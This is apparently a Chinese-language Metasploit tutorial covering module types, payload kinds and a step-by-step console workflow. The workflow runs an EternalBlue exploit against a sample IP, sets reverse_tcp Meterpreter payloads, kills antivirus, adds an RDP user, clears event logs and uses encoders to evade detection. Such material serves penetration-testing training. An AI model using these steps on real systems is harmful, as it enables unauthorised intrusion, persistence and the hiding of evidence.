Metasploit 模块
辅助模块 Auxiliary
Kali 路径:/usr/share/metasploit-framework/modules/auxiliary
Mac 路径:/opt/metasploit-framework/embedded/framework/modules/auxiliary
执行信息收集、扫描、嗅探等功能,辅助渗透测试,不直接执行攻击
端口扫描
1 | use auxiliary/scanner/portmap/portmap_amp |
服务扫描
1 | auxiliary/scanner/ssh/ssh_login #SSH 爆破 |
漏洞利用模块 Exploits
Kali 路径:/usr/share/metasploit-framework/modules/exploits
Mac 路径:/opt/metasploit-framework/embedded/framework/modules/exploits
利用目标系统中的已知漏洞进行攻击
攻击载荷模块 Payloads
Kali 路径:/usr/share/metasploit-framework/modules/payloads
Mac 路径:/opt/metasploit-framework/embedded/framework/modules/payloads
攻击成功后,在目标系统中执行的代码或指令
Payload 主要分为三种类型:Single、Stager、Stage
- Single:独立的、功能单一、易于使用的 Payload,类似一个简单的程序命令
- Stager:负责在目标系统与攻击者之间建立网络连接,并下载额外的组件或应用程序,常见的如 reverse_tcp (反向连接)和 bind_tcp (正向连接)
- Stage:Stager 下载后执行的更高级、无大小限制的 Payload 组件
在 Metasploit 中,我们可以通过 Payload 的格式推断它的类型:
1 | #Single Payload的格式为: |
常用 Payload
1 | windows/meterpreter/bind_tcp #正向连接 |
反向连接 80 和 443 端口使用场景:被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的 80 端口或 443 端口与外部通信
- 生成 payload 和编码
1 | use windows/meterpreter_reverse_http |
后渗透攻击模块 Post
在取得目标系统控制权后,执行进一步的攻击动作,需要在 meterpreter shell 中使用
常用 Post 模块
1 | run post/windows/manage/migrate #自动进程迁移 |
利用后渗透模块 enable_rdp 添加用户
1
2
3run post/windows/manage/enable_rdp USERNAME=test2 PASSWORD=Abc123456 #添加用户
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662获取目标主机详细信息
1
run scraper
关闭杀毒软件
1
run killav
编码器模块 Encoders
对 Payload 进行加密,以绕过安全软件的检测
空指令 Nops
提高 Payload 的稳定性和可靠性
基础使用
- 搜索选择模块
1
2
3
4search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
# or
use 0 # 使用搜索到的结果索引 - 查看模块信息
1
info
- 查看模块需要的配置参数
1
show options
- 设置参数值
1
set RHOSTS 192.168.3.172
- 设置全局参数,避免在每个模块中重复设置
1
setg
- 查看攻击载荷
1
show payloads #该命令可以查看当前漏洞利用模块下可用的所有Payload
- 设置攻击载荷
1
set payload windows/x64/meterpreter/reverse_tcp
- 查看 Payload 模块参数
1
show options
- 配置完成后执行攻击
1
2
3exploit
or
run
利用 Meterpreter Payload 攻击成功后,将会进入到 Meterpreter 会话,然后可以进行一系列后渗透操作
Meterpreter
Meterpreter 属于 stage payload,在 Metasploit Framework 中,Meterpreter 是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型 Payload
- 切换目标主机 shell
1
2shell #获取目标主机的cmd_shell权限
chcp 65001 #避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8 - 退回到 Meterpreter
1
exit
- 退出到 msf
1
background #把获得的 meterpreter 会话挂载到后台运行
- 查看 meterpreter 会话列表
1
sessions -l
- 进入对应的 meterpreter shell
1
sessions [id]
- 在目标系统中创建新的用户账号
1
2
3run getgui -u 用户 -p 密码
-u: 指定用户
-p: 指定密码 - 清除日志
1
clearev
命令用法
1 | Meterpreter > ? |